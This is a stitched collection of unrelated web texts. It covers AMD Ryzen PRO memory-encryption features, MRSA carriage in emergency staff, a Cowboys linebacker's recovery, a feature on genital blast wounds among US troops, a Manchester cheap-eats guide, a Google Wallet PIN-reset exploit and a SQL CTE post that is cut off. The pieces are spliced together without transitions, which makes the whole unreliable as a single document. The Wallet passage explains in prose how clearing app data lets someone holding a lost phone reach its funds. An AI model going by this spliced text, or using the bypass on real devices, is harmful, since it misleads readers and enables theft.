When data is stored on storage devices, it is usually encrypted, but when it is being processed on a CPU or temporarily stored in RAM, it is almost never is, leaving open the possibility of snooping these unprotected areas. As the name suggests, Secure Memory Encryption encrypts content of DRAM in a bid to eliminate data snooping by unauthorized programs or administrators (this is more likely to happen in a server/datacenter environment, but still). This feature will be particularly important for NVDIMMs going forward as they store data even after unplugged from their hosts.
The SME encrypts data when it is written to DRAM and decrypts it when it is read. The AES-128 key is generated by a NIST SP 800-90-compliant hardware RNG and then managed by the AMD-SP hardware (thus, in a secure environment only). Although a dedicated engine performs the encryption/decryption, the process still takes time and thus adds latency to memory accesses. AMD claims that the actual performance impact is not significant, but we will have to test it ourselves before making any conclusions of our own. AMD’s Zen microarchitecture supports full and partial memory encryption for cases when performance is a concern. The one downside to this is that both partial and full encryption modes will require OSes and software to be modified in order to work properly.
More practical for daily workstation use is AMD’s Transparent SME mode. As the name impies, Transparent mode is transpartent to OSes and programs, and thus be used with legacy software. Transparent SME mode stil encrypts DRAM completely, and this mode can be enabled from BIOS. At this point Transparent SME is the only type of SME supported by the Ryzen Pro, but AMD’s EPYC processors support all of them.
Moving on, AMD's other big security feature for the PRO lineup is Secure Virtualized Encyrption (SEV). SEV in many ways resembles the SME, but in this case, it enables owners to encrypt virtual machines, isolating them from each other, hypervisors, and hosting software. The SEV is an extension to AMD’s virtualization architecture that uses the same hardware as the SME to protect/sandbox selected VMs using different AES-128 keys and eliminating some of the security risks involved in using VMs, particularly in datacenter environments. As the SEV uses different keys for different VMs, it does not work with TSME. By contrast, SEV is fully enabled on AMD’s EPYC processors (it will be interesting to see whether Threadripper chips support the feature as well).
One thing that should be noted is that both SME and SEV require support not only at processors themselves, but also at the platform and software levels. Consequently, with the exception of TSME mode (which will still require BIOS/chipset support), it will take some time before actual systems can take advantage of the new technologies supported by AMD’s Zen microarchitecture. A good thing is that owners of the Ryzen PRO will be able to use TSME already this year, and this is where AMD’s new business platform excels Intel’s Core-series offerings.
Enterprise Manageability and Reliability
In addition to the aformentioned security capabilities, business PCs require some other hardware features as well. Specifically, manageability modes.
First off, the Ryzen PRO platforms support the DASH management protocol, allowing PRO systems to be remotely managed using tools based on this industry standard (and typically developed by the individual computer vendors). AMD Pro-series processors have supported DASH for years, so for AMD this is a continuating of status quo.
Secondly, as you'd expect from a business-focused product lineup, AMD’s Ryzen PRO platforms have longer guarantees for platform stability and processor availability. Specifically, AMD is promising that the Ryzen PRO family will offer an 18 month window for platform stability and 24 month of processor availability. In other words, AMD is guaranteeing that the Ryzen PRO chips it launches this year will be available for two more years without changes to software, enabling business customers to buy and deploy new systems running the CPUs without modifying the software they use.
Finally, all AMD Ryzen PRO CPUs are covered with a 36-month limited warranty, up from 12-month warranty for consumer processors. The reason why AMD offers extended warranty for its business CPUs (apart from the fact that its customers demand this) is because it uses wafers with highest yields/least amount of defective parts to build the Ryzen Pro. AMD believes that wafers with the lowest manufacturing variability provide chips that are “set to meet long term reliability”.
Available This Fall
AMD promises to share more information about their Ryzen PRO CPUs and supporting platforms on August 29. The company is not saying that actual systems will be available on this date, but since the firm already disclosed their plans to ship Ryzen PRO in the second half of this year, it is relatively safe to assume that at least some Ryzen Pro-based desktops will ship this fall.
Testing positive for MRSA is sometimes transient among health care workers, but unfortunately the results of this study, along with the findings of the second report, reinforce concerns that MRSA carriers are an important part of the transmission of MRSA among patients, Dr. Elise O. Lovell from Advocate Christ Medical Center, Oak Lawn, Illinois, told Reuters Health.
Lovell and colleagues collected nasal swabs from a sample of 105 emergency department staff at their institution. Sixteen subjects (15 percent) tested positive for MRSA, including 12 nurses, 2 physicians, and 2 technicians.
The MRSA positivity rates in our emergency department health care workers is “much higher than that found in the general US population, but is similar to rates seen in other studies of non-ED medical personnel,” Dr. Lovell said.
In the second report, Dr. Brian P. Suffoletto and colleagues from the University of Pittsburgh Department of Emergency Medicine measured the prevalence of Staphylococcus aureus and MRSA in 255 emergency department health care workers.
Just under one third of nasal cultures (31.8 percent) were positive for S. aureus, the researchers report, and the overall prevalence of MRSA 0was 4.3 percent.
None of the demographic and exposure characteristics examined were significantly associated with MRSA colonization, the investigators say, but MRSA colonization was restricted to nurses, nursing assistants, and radiology and respiratory technicians.
“The varying prevalence among the different health care workers was unexpected,” Suffoletto told Reuters Health.
The relationship between MRSA-positive ED personnel and patient transmission is “still largely unexplored,” Suffoletto continued. First we will need to establish if MRSA in ED personnel is transient or persistent. “Then we wish to determine the rate of unprotected contacts between ED personnel and patients.”
Both Lovell and Suffoletto stressed the importance of using universal infection control practices in the emergency department.
“It’s been demonstrated repeatedly that these hygiene techniques are poorly followed in the ED, yet they represent the best (and simplest) way to minimize the spread of MRSA between our patients and to keep our patients and ourselves safe,” Lovell said.
“The findings in these reports may have important implications for infection control practice,” agrees Dr. John A. Jernigan from the U.S. Centers for Disease Control and Prevention, Atlanta, writing in a related editorial.
“Better implementation of current recommendations for preventing transmission of MRSA and other multidrug-resistant organisms will likely yield important benefits for both patients and health care personnel.”
The rookie essentially redshirted the 2016 season for the Dallas Cowboys as he rehabs his surgically repaired knee, awaiting the regeneration of the damaged nerve.
With the nerve progressing and the former Notre Dame star regaining some sensation in his foot, he's expected to return to football in 2017 and has begun releasing workout videos to prove his claim that he could play right now at an elite level.
Watching the footwork in this latest video, it's hard to dispute that.
And as far as Smith "getting his 4.4 speed back" goes, his initial video is the warning shot to the NFL.
The Cowboys’ season may be over, but they’re not mailing it in. Don’t miss any breaking offseason news, take a second to sign up for our FREE Cowboys messenger!
Owner Jerry Jones has already called Smith a "cornerstone" piece of the franchise and the "real deal", as the excitement for his potential debut begins to mount. If the 32nd overall pick can return to tandem with the likes of All-Pro Sean Lee, it could be the best LB duo the Cowboys have had in their storied 57-year history.
It was having their genitals ripped off, burned away or crushed in the fiery blast of an improvised explosive device.
This was no idle concern to young men bursting with testosterone. The makeshift bombs known as IEDs are taking a frightening toll in Afghanistan, the blasts shearing off arms and legs, ripping through soft flesh, crushing organs and bone, and driving dirt, rocks and filth deep into torn flesh -- often leaving the genitals shredded or missing. Some guys said they'd rather be dead.
Mark Litynski, a 23-year-old rifleman with Lima Company, knew the odds. He'd been married to Heather for almost a year, and children were in the future they planned together.
I ought to freeze my sperm so we could still have kids if something happened, he thought.
The idea nagged at him. But in the rush of last-minute training before they packed their sea bags and weapons and then took a few days of boisterous leave, he kept putting it off. Where do you go to freeze your sperm, anyway? Who would you even ask?
By the time they loaded on the buses at Camp Pendleton, it was too late. Should have done it, Mark thought as they boarded the plane in September 2010.
Weeks later, Mark was on a combat patrol in Sangin, southern Afghanistan, walking behind an engineer sweeping for IEDs, marking their path with yellow spraypaint. IED detectors aren't foolproof. There came a bright flash and searing heat, then the upward blast ripped off both of Mark's legs and most of his left arm, slashing into his remaining arm, shattering his pelvis and driving a rock and other debris up into his abdominal cavity.
Amid the bloody carnage, all the skin was ripped from his penis and his testicles were gone.
Days later, after trauma surgeons in Germany finished trimming and suturing his stumps and temporarily closing his abdominal wounds, he managed to say a few words to Heather on the phone.
"I'm so sorry," he croaked.
“I love you,'' she told him, blinking back tears. "We will pull through this together, as a team.''
'THEY WEREN'T PREPARED FOR THIS'
The decade of U.S. combat in Afghanistan has left Afghans and Americans with a seemingly endless series of woes. But among the most devastating are the blast wounds that have left more than 16,000 young Americans severely wounded.
Several hundred have suffered genital injuries in addition to amputations and burns, leaving them unable to father children and struggling to engage in something resembling the sex they used to have, often without the aid of what many view as the primary symbol of their manhood.
"Who's going to want to be with me now?'' wondered Marine Staff Sgt. Glen Silva, 39, after an IED blast shattered his leg, ripped open his lower torso and severed most of his penis.
It was a legitimate concern. Silva's girlfriend stayed with him at Walter Reed National Military Medical Center in Bethesda, Md., through many of his 42 surgeries. But one day he was wheeled back to his room to find she had gone, leaving a nine-word handwritten note: "I can't take this any more. I'm outta here."
Silva, the Litynskis and others agreed to share the painful and intimate details of their ordeals in order to spotlight what they feel is a life-altering but often hidden wound, one that is frequently given inadequate attention and care within the military health care system. Those who cannot regain their sexual function or drive are given little understanding or aid, they say. In Mark and Heather's case, it took the intervention of The Huffington Post to get them an appointment with Walter Reed's specialist in sexual dysfunction.
"They weren't prepared for this,'' Silva said of the Walter Reed staff.
Since 2005, more than 1,500 soldiers and Marines have been carried off the battlefield with genital wounds. But since late 2009, when President Barack Obama ordered a "surge'' of 30,000 combat troops into Afghanistan and approved a new tactic of increased foot patrols, the pace of genital injuries has accelerated.
In the year before the surge, 170 combat troops suffered genital wounds, mostly from IED blasts. In 2010, according to Pentagon data, that number leapt to 259. Last year, the Defense Department counted 299 cases of genital wounds that James Jezior, a urologist who does genital repair surgery at Walter Reed, characterizes as "devastating.''
"I remember lying on my side, dust everywhere, and I looked down and saw my arms were split open and squirting blood and I had just two bloody stumps above my knees," said Marine 1st Lt. James Byler, 26, who was blown up a few weeks before Mark Litynski. "My first coherent words to my Marines were, 'Hey! check my nuts!'" His genitals were severely damaged, but intact.
"It's the male instinct, the first thing you care about,'' Byler said. "In past wars, guys didn't live if they got injured as badly as me, but we've gotten so good at the medevac process now that guys who are catastrophically wounded are surviving. Now you have all these further complications -- like, you know, what's going to happen with my genital wounds?''
Military surgeons and specialists acknowledge that they often don't know the answer, because, until recently, they had little or no exposure to such injuries.
'I AIN'T GOING TO NO SEX-CHANGE DOCTOR'
In past wars, most casualties were head and chest wounds caused by shrapnel from mortars and artillery or from bullets. Walter Reed, the nation's premier military hospital, attracts some of the best talent in military medicine. But doctors there say their only relevant experience with sexual dysfunction had long been with older prostate cancer patients, who obviously have vastly different medical and psychological needs than young men with severe battle injuries.
During the past decade, IED blasts have become the primary cause of U.S. battle casualties, killing or wounding 34,360 American troops in Iraq and Afghanistan, according to the most recent Pentagon data. One reason for the increasing incidence is that modern body armor protects the chest but leaves the lower torso exposed to the upward blast of buried bombs, a vulnerability that insurgents have exploited.
Many victims end up at Walter Reed, where surgeons are able to repair some damage to the penis. Jezior uses tissue he cuts from inside the patient's cheek or lip to rebuild the urethra, which carries urine through the penis from the bladder. Oral tissue is used because it is hairless and used to being wet, Jezior explained, and is rolled into a tube to replace the damaged urethra. He grafts skin from the patient's thigh or groin to rebuild the outer layer of the penis.
But for guys like Staff Sgt. Silva whose penises have been partly or totally destroyed, options are few. Expertise within the military on penis replacement, or phalloplasty, is so limited that some Walter Reed patients have been referred to civilian surgeons who specialize in sex-change operations. It's an option not well received in the ranks.
"I ain't going to no sex-change doctor,'' Silva growled. Besides, he had seen photos of the penises they had made with surgical flaps from patients' forearms. "I could do better with Silly Putty," he snorted.
But there is hope that doctors may soon be able to regrow a penis from the smooth muscle and endothelial cells of patients like Silva. Advances in regenerative medicine have surged during the past decade. At the Wake Forest Institute for Regenerative Medicine, a team led by Anthony Atala reported last year that they had regenerated the penises of 12 New Zealand white rabbits. Once they healed, the rabbits were placed in cages with female rabbits. All attempted copulation within one minute and four females became impregnated.
Can he grow a penis for Silva? "We are always cautiously optimistic. This still requires a lot of work to make sure it works well,'' Atala said in an interview. "As much as it works in the laboratory, it may not work in the human."
"But," he added, "we have a good history. Hopefully this holds some promise for the future."
Atala is seeking regulatory approval to begin experimental penile regeneration in humans. He has met with Silva to discuss the procedure and said he wants to move forward "as expeditiously as possible," though he declined to provide a more specific timeframe.
Still, even if surgeons can physically rebuild genitals, making them work effectively and pleasurably is vastly more challenging. Achieving erection, orgasm and ejaculation involves a complex interplay of sensory nerves, muscles and blood-vessel functions, any or all of which may have been damaged by an IED blast.
"Even if you can regenerate tissue, it doesn't mean you can make that tissue function exactly the way it did before -- mostly because of nerve function,'' said Robert Dean, an andrologist who is Walter Reed's lone specialist in sexual dysfunction.
'WHO'S GOING TO WANT TO BE WITH ME?'
A genital wound doesn't mean the end of pleasurable or productive sex, however, according to Dean and other specialists. It's a common misconception, Dean said, that sex must include an erection, orgasm and ejaculation. "After an injury, the ejaculation function may be gone, but orgasm isn't," he said. "Erections may be difficult to achieve, but orgasms are still possible."
That's the theory. But predicting how well individual genital-wound patients will recover is nearly impossible, doctors admit.
Much is unknown about the secondary effects of a powerful blast on human organs. Apart from the obvious physical damage, the concussive blast wave seems to affect sexual function in ways that are not clear. Byler, for instance, suffered little visible physical damage to his genitals, but his testosterone levels and sperm count dropped alarmingly after he was injured.
He and many other genital-wound patients are given replacement doses of testosterone. Low testosterone levels can depress sex drive and decrease energy levels, but the treatment often requires precise dosages and a lengthy process of trial and error. And often, its effects are masked, as many patients are also taking a cocktail of other drugs for pain and anxiety or to control swelling and fight infection.
It's a situation that breeds intense frustration. Genital-wound patients are anxious to know what their sexual future looks like. But doctors at Walter Reed often are unable to reassure them that their sexual functions will ever return in whole, in part or at all. It can take a year, even two, for answers to begin to emerge, Jezior said.
Even then, he said, "We absolutely do not know how well their reactions will be with what they have remaining, how functional they will be. It takes a lot of time to heal, a lot of recovery, every part of the body has to heal before your erections become what will be their end-state.''
Some patients, he added, "will not get back to a functional state.''
But it can be difficult to determine who will recover, and how much, medical officials said, largely because there is a relative paucity of data on the long-term medical and psychological effects of the available treatments and the wounds themselves.
That uncertainty can add yet another crushing psychological burden for young men already struggling with the loss of arms and legs.
"You hear a lot of, 'This is the best we can do, but the fact of the matter is, we have never seen this type of injury before, so we [doctors] really don't know what to tell you,'" said Byler, speaking of his experience as an amputee and genital-injury patient at Walter Reed.
Byler said he never even saw a urologist until four or five months after he was wounded. "There's a lot of things they can do for limbs that are lost, like my legs -- but no one really addresses the genitalia,” he said. “You need someone to come look at the damage and give you an honest assessment of what they think it's gonna be. Because otherwise you're left wondering, who's going to want me? Who's going to want to be with me?''
Doctors at Walter Reed acknowledge having long failed to recognize that while young men may accept the loss of a limb, even the loss of several limbs, they are often far more devastated by damage to their genitals.
"There certainly was a disconnect," said Jezior. "It was an eye-opener for us that there is a grieving when it comes to significant injury to the genitalia that needs to be dealt with.'' Still, he insisted that the care provided to genital wound patients at Walter Reed is "pretty incredible, with a lot of support.''
'WE SAVED HIS PENIS'
Mark and Heather Litynski, however, did not feel supported after Mark was wounded. Their experience was bitter, frustrating and far from the future they had imagined.
They grew up two miles apart in the Minneapolis suburb of New Hope. When Mark shipped out to Afghanistan in September 2010, Heather went home to wait for his return.
She was holding down a temporary job at Starbucks in November when two Marines arrived, accompanied by her mother and sister. Mark was alive, they told her, but in critical condition with "severe lower torso injuries.'' They handed her a terse medical report describing his wounds. When she read "bilateral [both legs] above-knee amputations," Heather collapsed to the ground in shock.
It was far worse than she had feared. But he was alive.
"When I found out, I started crying, but very quickly I got over it because you're just so glad they're alive and doing well," Heather said.
Two days passed, an agony of waiting, before doctors could talk to Heather about the extent of Mark's injuries. There were a lot of other things to worry about -- the potential for deadly infection, of possible brain damage, the trauma of losing two legs and his arm. But one thing the doctors said hit home: "We saved his penis!''
"'Saved his penis!' Got something!" Heather recalled with a chuckle.
Mark has also accepted his wound, just as he has gotten used to his wheelchair, his prosthetic legs and mechanical arm. "When I found out about it [his testicle loss] I was kind of ... you know, 'Should have done the sperm-freeze thing,''' he said. "But ... we're making it through. It's not the end of the world.''
Of course, it wasn't as simple as that.
As surgeons at Walter Reed were working to repair Mark's abdominal wounds and shape his leg and arm stumps, they also began reconstructive work on his penis. They prescribed doses of Viagra or Cialis to see if he could get an erection. A duty nurse administered the first dose while Mark had a full-length catheter inserted in his penis. His erection was painful.
But stimulation is necessary and common early therapy for genital-wound patients, said Dean, the hospital's sexual-dysfunction specialist. "Even though they are not really close to wanting to use it, because they have physical therapy to go through and pain issues, we start rehab therapy to see what effect that has, because we don't want the [penile] tissues to atrophy,'' he said.
Severely wounded patients like Mark typically spend a few months in intensive care at Walter Reed. Then they transfer to an apartment in one of the comfortable new housing units at the hospital and continue their physical and occupational therapy as outpatients. Once Mark got a set of prosthetic arms and learned to walk on his new prosthetic legs, he joined other wounded patients on fishing trips, even a snowboarding in Vail, Colo., just over a year after his injury.
Things weren't easy, though. "He was very affectionate before, he used to always have his arm around me, hold my hand, just come by and kiss my head,'' said Heather. "That's how he was.'' But as his physical wounds healed, the couple's sense of intimacy did not return. Nor did Mark's sex drive. He was lethargic. He had ''zero'' desire, she said.
Mark was taking testosterone to replace the hormone normally produced by his testicles. Heather suspected the dosage was wrong, but she couldn't get anyone at Walter Reed to listen.
"Every time we'd go to the doctor, it was always kind of awkward and embarrassing,'' she said. "I'd have to bring it up and ask them -- they never asked us. I was always given a vague answer -- 'Oh, well, he's still on some medications that can decrease the libido ...' And I'm thinking having sex once every couple of months with your spouse is more than a little 'decrease' in libido."
Heather started wondering if Mark was suffering from traumatic brain injury or post-traumatic stress, but she felt there was no one who had answers or even seemed to care. The frustration inevitably strained their marriage. Out of guilt, Mark began fiddling around with his testosterone patches, trying to adjust the dosage, desperately hoping to find a way to help.
"All of our complaints to his primary care doctors, his urologist -- nothing got us anywhere,'' Heather said. Then, as a result of an interview with The Huffington Post, they made contact with Dean.
In a January interview, Dean had enthusiastically described his work with genital-wound patients and their spouses. "We address how you are going to walk and dress yourself, how you're going to have sex in the future and how you're going to have children in the future, if possible,'' he said.
A few weeks later, I mentioned Dean and his work to Mark and Heather, and was astonished to learn that they had never heard of him, despite having lived in his hospital for 15 months. Before they heard about Dean, Heather said, "I was never referred to any doctor that could really help us.''
Within days, they met with Dean, who ran some tests and ordered a change in Mark's testosterone therapy. He expects dramatic improvement.
But the Litynskis' disappointments haven't ended.
'IT JUST DOESN'T SEEM RIGHT'
The Pentagon, alarmed at the rising incidence of genital wounds, has rushed $19 million worth of protective garments to Afghanistan, including 165,000 pairs of blast-resistant briefs and 45,000 diaper-like garments to protect the genitals from upward blast..
For those who have already suffered genital wounds, there is less help.
Couples like Mark and Heather, who want the option of natural childbirth, can turn to in vitro fertilization, using donor sperm. But the process is expensive, well beyond the means of typical enlisted soldiers and Marines. At Walter Reed, the cost of a single in vitro procedure runs from $4,800 to $7,000, and success may require many attempts.
Yet the military's medical insurance program, Tricare, specifically excludes coverage for the procedure, even in cases where the husband's reproductive organs have been destroyed in combat.
The Department of Veterans Affairs has added to the frustration. Through its insurance program, the VA pays up to $100,000 to the severely wounded to compensate for loss of income and to help finance cars adapted for their use and other new needs. Late last year, the VA also agreed to pay up to $50,000 for damage to or loss of genitals in combat, but its $100,000 lifetime cap on such compensation does not account for veterans who have been wounded as catastrophically as Mark Litynski.
Along with many others severely wounded in combat, Mark has been awarded the full $100,000 for the loss of both legs. Because of the cap, however, he will not receive the additional $50,000 for his genital wounds -- money that could help pay for fertility treatment or adoption.
Defense Department officials repeatedly refused, over a period of several months, to respond to The Huffington Post's questions about the limits on compensation or gaps in care for those with genital wounds. Finally, Pentagon spokeswoman Cynthia Smith said in a statement that the department is "working to provide" reproductive services "to severely injured service members without additional costs to them."
Smith was unable to provide details. Heather Litynski said she has not been contacted by anyone in the Defense Department offering to help pay for fertility procedures.
Considering that Mark volunteered to serve his country and was severely injured in that duty, "it seems like it should be up to the government'' to compensate them, Heather said, for not being able to have their own children together.
"It just doesn't seem right,'' added Heather, a registered nurse who typically has a sunny disposition and a quick smile. She and Mark had long planned to have children. But adoption is expensive. And apart from being costly, there are some aspects of artificial insemination or in vitro fertilization that can be hard for some couples to accept.
"It may be difficult using another man's sperm,'' she said. "The idea does bother me sometimes." And having their insurance refuse to pay for it "is pretty disappointing,'' she added.
Last year, the U.S. Army's surgeon general commissioned a study of blast injuries, including genital wounds, and concluded that military care has lagged behind. "These are complex problems that are not commonly seen in civilian life,'' said Army Col. Jonathan Jaffin, a trauma surgeon who directs the Army's Dismounted Complex Blast Injury Task Force, which was established to improve the treatment of the severely wounded.
Like many others, Jaffin acknowledged that the military has fallen short, that it cannot fully answer the questions of couples like Mark and Heather Litynski, let alone resolve their problems. "We're trying to gather data but we don't have a good answer as to all of the problems we're seeing,'' he said. Genital wounds, he said, are "a very difficult problem, not just a physical problem but one that involves the family, the social dynamics, psychological and spiritual aspects."
"We are doing everything we can to provide the very best care" for the severely wounded, Jaffin added. "I don't think any of us will ever say we have the complete solution. We're going to have to keep pushing, keep making it better."
'I WOULDN'T CHANGE IT FOR ANYTHING'
Mark and Heather are still living at Walter Reed, hoping Mark's new hormone treatments will help ease the strain in their relationship. Yet despite their ordeals, they both seem determinedly upbeat and ready to take on the next phase of their life. Soon they'll move back to New Hope, Minn. Heather will look for work as a nurse while Mark goes back to school to study business.
And they are weighing the costs and benefits of in vitro fertilization, artificial insemination and adoption.
"We definitely want to have children. It's going to be a big expense for us," Heather said. "It is disappointing to me -- so much has been done and given to us because of his combat injuries, which is wonderful. I feel the care and concern from the public and different charities and organizations -- it's so much, it is overwhelming.
"But there is the huge gap in alternative family planning. There's no compensation, no help. There are charities that offer to help but I'm thinking it should be the responsibility of the government."
They will struggle ahead, she said. But their lives will be different from what they had anticipated just two years ago. "Yes, it is different, but it's still livable, still very positive,'' she said.
"Like anything else, you move on," Mark said. As for life ahead? "Looks pretty good. It's disappointing, but we will still have kids -- some way we will have kids, and I will look at them as if they had my DNA. It's not that traumatic to me, as long as we're still able to raise kids, it doesn't necessarily matter where they came from."
And despite the traumatic turns his life has taken, Mark said he doesn't for a moment regret his decision to enlist in the Marines.
He served, he said, "to make a difference, not just for the United States, our citizens, but over there -- we were making a difference for the people of Afghanistan.
Common, a late-night bar in Manchester's Northern Quarter, has upped its game this year and now includes New York deli-inspired dishes on the menu
Common
The food at this late-night Northern Quarter music bar has always been unusually good. For many regulars, its chilli, its chicken and chorizo stew and, particularly, its falafel and halloumi open kebab, form a beer-food Holy Trinity. This year, however, the kitchen has really upped its game. The menus are now designed by Laurence Tottingham, one half of the husband-and-wife chef duo who run Prestwich's acclaimed Aumbry and, alongside a range of sandwiches and classy burgers (try the pastrami-and-Emmental-topped Reuben), you can expect to see broadly New York deli-inspired dishes on the specials menu, such as an excellent shredded salt-beef sauerkraut stack, huevos rancheros and an Italian meatball sub. Common is the sister bar of Port Street Beer House, and so, naturally, it carries an interesting range of cask, imported keg and bottled beers.
• Light bites and sandwiches, £2.50-£5.95, meals £6-£8.50. 39-41 Edge Street, 0161 832 9245, aplacecalledcommon.co.uk
Slice Pizza & Bread Bar
Counter culture at Slice
In Rome pizza isn't round; it's rectangular and served al taglio (by the slice). The owners of this pizza bar travelled to the Italian capital to learn how it's done, and it shows. Everything is made onsite, every day, and it's all good, from the elegant simplicity of the beautifully light, bouncy focaccia, dressed with olive oil, rosemary and sea salt, to classic toppings such as broccoli, sausage and chilli. Those pizzas that employ very thinly sliced potato stand out (it adds a buttery dimension and boosts overall savoury oomph). If you end up staggering around the Northern Quarter late at night, looking to stave off a hangover, it's worth noting that at weekends, Slice remains open, for takeaway only, from 10pm to 1am.
• Slices £2-£2.75. 1A Stevenson Square, 0161 236 9032, slicepizza.co
Gorilla
Half a tandoori chicken with apricot bulgar wheat, flat bread and saffron garlic mayo at Gorilla
Do you love eggs Benedict? Do you want to listen to the Pixies while you eat it? If so, you're in the right place. A gig venue and late-night bar, Gorilla is also a surprisingly good casual dining space, open from 9am at weekends. The various elements of that eggs Benedict (£5.50) are bright, fresh, pin-sharp. The full English, meanwhile, comes with Gorilla's own-recipe sausages (made by renowned Chorlton butcher WH Frost) and quality bacon from over the border in Cheshire. The coffee's not bad, either. Although, for Manchester's best flat white (£2.60), head to North Tea Power (36 Tib Street, 0161 833 3073).
Later in the day, the menu expands to take in snazzy sandwiches (a ciabatta of stuffed porchetta, crackling and salsa verde), burgers, dogs, interesting seasonal soups and salads, and an African chermoula-spiced kebab. One warning: tread carefully with the more interesting bottled and canned craft beers, which, in all Trof's venues (they own a few across town) tend to be pricey. Think £4.50 for a 35.5cl can of Brooklyn lager.
• Breakfast, £4-£9.95, light meals and sandwiches, £4.50-£8.50, mains from £7.50. 54-56 Whitworth Street, 0161 407 0301, thisisgorilla.com
Pancho's Burritos
Topped tacos at Pancho’s Burritos
The Arndale Market food hall (don't worry, it is not as posh as that might sound) has numerous affordable places to eat but, personally, I rarely get past Pancho's. Run by Mexican chef Enrique Martinez, it deals in big, fat, sloppy burritos, stuffed with slow-cooked meats – pulled pork with lime, pork with fleshy cactus, beef in pasilla chilli sauce – that deliver masses of flavour. Grab a seat, because there is no way you'll be able to walk and eat one of these monsters, unless you want meat juices, refried beans, sour cream and pico de gallo salsa all down your shirt. Pancho's also does topped tacos and quesadillas, but the new hit is its tomato-and-ancho-chilli azteca soup (£2.50), which is all upfront fruity tomato flavours, riding waves of smokiness and lip-tingling heat.
• Burritos from £3.99. Unit FC1, Arndale Market food hall, 49 High Street, 07508 745498, panchosburritos.co.uk
Mark Addy
Mussel and taragon soup at Mark Addy
It's a funny place, the Mark Addy. A riverside pub with a certain faded 1980s wine bar glamour, it has a once-ritzy façade that could not be more at odds with the ethos of its chef, Robert Owen Brown. A local lad, Owen Brown loves gutsy, no-nonsense northern cooking. He lives to do rib-sticking things with tripe, Bury black pudding and Eccles cakes – and at affordable prices, too. At lunch, you could do worse than share a few of the bar snacks: a Manchester egg (a northern take on the scotch egg), spam fritters and the Blacksticks blue cheese bhajis, which are a meal in themselves. There are also sandwich meals with chips and, at night, the budget traveller can choose between a cheese and pâté platter, and a couple of the sub-£10, pub-style mains (a serviceable burger, better fish 'n' chips).
Try to save some money to sample a couple of halves from the six real ales (pint from £3.10). As well as beers from Macclesfield's fantastic Red Willow, the pumps often feature beers from the region's less well-known micros. Indeed, if you're more interested in drinking than eating, use this pub as the starting-point for a short pub crawl down Chapel Street into Salford (technically, the Mark Addy is just over the border). Don't miss the King's Arms (11 Bloom Street, 0161 839 8726, kingsarmssalford.com) run by the Beautiful South's Paul Heaton, which is also the "local" in Channel 4's Fresh Meat – and exceptional ale enclave the New Oxford (Bexley Square, 0161 832 7082, thenewoxford.com).
• Snacks, sandwich meals and platters, £2.40-£7.25, mains from £9.45. Stanley Street, Salford, 0161 832 4080, markaddy.co.uk
This & That
This & That is one of the Northern Quarter's original curry cafes
Tucked down a side street in the Northern Quarter, This & That is one of the area's original curry cafes, where you can pick-up a filling "rice 'n' three" (choices of curry) for a few quid. It's a no-frills joint, but the food is fresh, homemade and uses whole spices to give the dishes the kind of wallop of flavour that you wouldn't normally expect at a sub-£5 price. The various lamb curries usually deliver a good savoury gravy and a reasonable amount of tasty meat, but, for me, its the veggie curries – particularly the chana masala, the daals and the spinach curry – that really sing with flavour. The help-yourself curry toppings (coriander, green chillies, raw onion) are a nice touch, and, of the supplementary snacks, the samosas (a shade greasy, perhaps, but packed with beautifully seasoned mince, potato and onion) are recommended.
• Meal from £3.30. 3 Soap Street, 0161 832 4971, thisandthatcafe.co.uk
Almost Famous
Jam-packed burgers at Almost Famous
Note: if you can't be bothered with the queues, nearby SoLita (Turner Street, +44 (0)161 839 2200, solita.co.uk), serves a fairly good, bone marrow-moistened burger from its Inka grill (£10.90). It's £5.95 lunchtime menu is worth a look, too. Or, over the other side of town, the Lincoln cheeseburger at Brewdog (35 Peter Street, 0161 832 1922, brewdog.com) is a doozy. It's just £4.95, and, naturally, the beer choice (pint from £3.95) is far superior.
• Burgers £6-£7, fries £2. 100 High Street, no phone, almostfamousburgers.com
KuKoos
Kukoos' colourful collection of pickle jars
• Snacks from £1, light meals £3-£5. 12a Oxford Road, 0161 236 7989, kukoos.co.uk
Vnam
Vnam's pho – a bouncing broth with cinnamon and star anise flavours
Modern Manchester looks polished and shiny, but you don't have to walk very far out of the centre to see another side of the city. And you should. Shabby Oldham Road is every bit as representative as swanky King Street and, thanks to this small, simple Vietnamese cafe, much tastier. Vnam's pho – that iconic noodle soup – is a belter: the broth bouncing with cinnamon and star anise flavours, the various cuts of beef included unusually flavourful, many edged with tasty fat. For the money (from 12pm to 1.30pm, the pho is £7.95 with a soft drink), the detail is excellent. That pho arrives with a good side of fresh mint and coriander, bean shoots, chillies and lime to add as you see fit. If pho seems a bit too familiar, there is plenty more to explore on the menu, from BBQ quail and lamb chops – served with a lime, sea salt and black pepper dipping sauce – to a prawn and pork lotus root salad. Also BYO (£1 corkage).
• Main noodle and rice dishes, £6.25-£8.35. 140 Oldham Road, 0161 205 2700, vnam.co.uk
Habesha
Habesha serves Ethiopian food under a tenner
Normally, £8 doesn't buy you much in terms of foodie adventure. However, at this east African restaurant, for less than a tenner, you can sample Ethiopian dishes, such as awaze tibs and gored gored, and wash them down with a bottle of imported (and fairly generic, actually) St George lager (£2-£2.50). It's rustic stuff. My doro wot comprised a bowl of sauce with the trimmed, central section of a chicken carcass in it, pieces of chicken breast still attached to the bird's breastbone. There wasn't a huge amount of meat there, but, as a dish, this was less about protein than that luscious sauce. It was an impossibly rich (many Ethiopian dishes are begun by frying off the ingredients in seasoned butter) red pepper and onion stew, highly but not particularly hotly spiced – ginger and cardamom are the primary seasonings – that, as a rough guide, was halfway between a proper rogan josh and the deep, savoury silkiness of a French onion soup. I wasn't sold on the hard-boiled egg that is also part of the dish, but the sauce worked brilliantly with the injera, the huge spongy, lemony-sour pancakes that you use to mop everything up with. Neatly decked out with African fabrics, pictures and knick-knacks, Habesha is basic, but much nicer than you might imagine, given that it is above a busy takeaway. You'll find it upstairs in the Istanbul Express kebab house in the Gay Village.
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While yesterday's exploit required you to crack encrypted files, today's requires you to simply clear the data in the app settings. Doing so forces Google Wallet to reset itself and prompt the user for a new PIN. Once that's done, the attacker ties in a Google PrePaid card to the account and presto—all previously available funds are once again accessible. The method has been tested by multiple sources and confirmed by Google itself.
Google has issued a statement regarding the new method,
We strongly encourage anyone who loses or wants to sell their phone to call Google Wallet support toll-free at 855-492-5538 to disable the prepaid card. We are currently working on an automated fix as well that will be available soon. We also advise all Wallet users to set up a screen lock as an additional layer of protection for their phone.
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Every time I explain this, there are people who don’t believe me. They point to the “Table” in the name, “See. Says so right there. It’s a table.”
It’s not and I can prove it. Let’s create a relatively simple CTE and use it in a query:
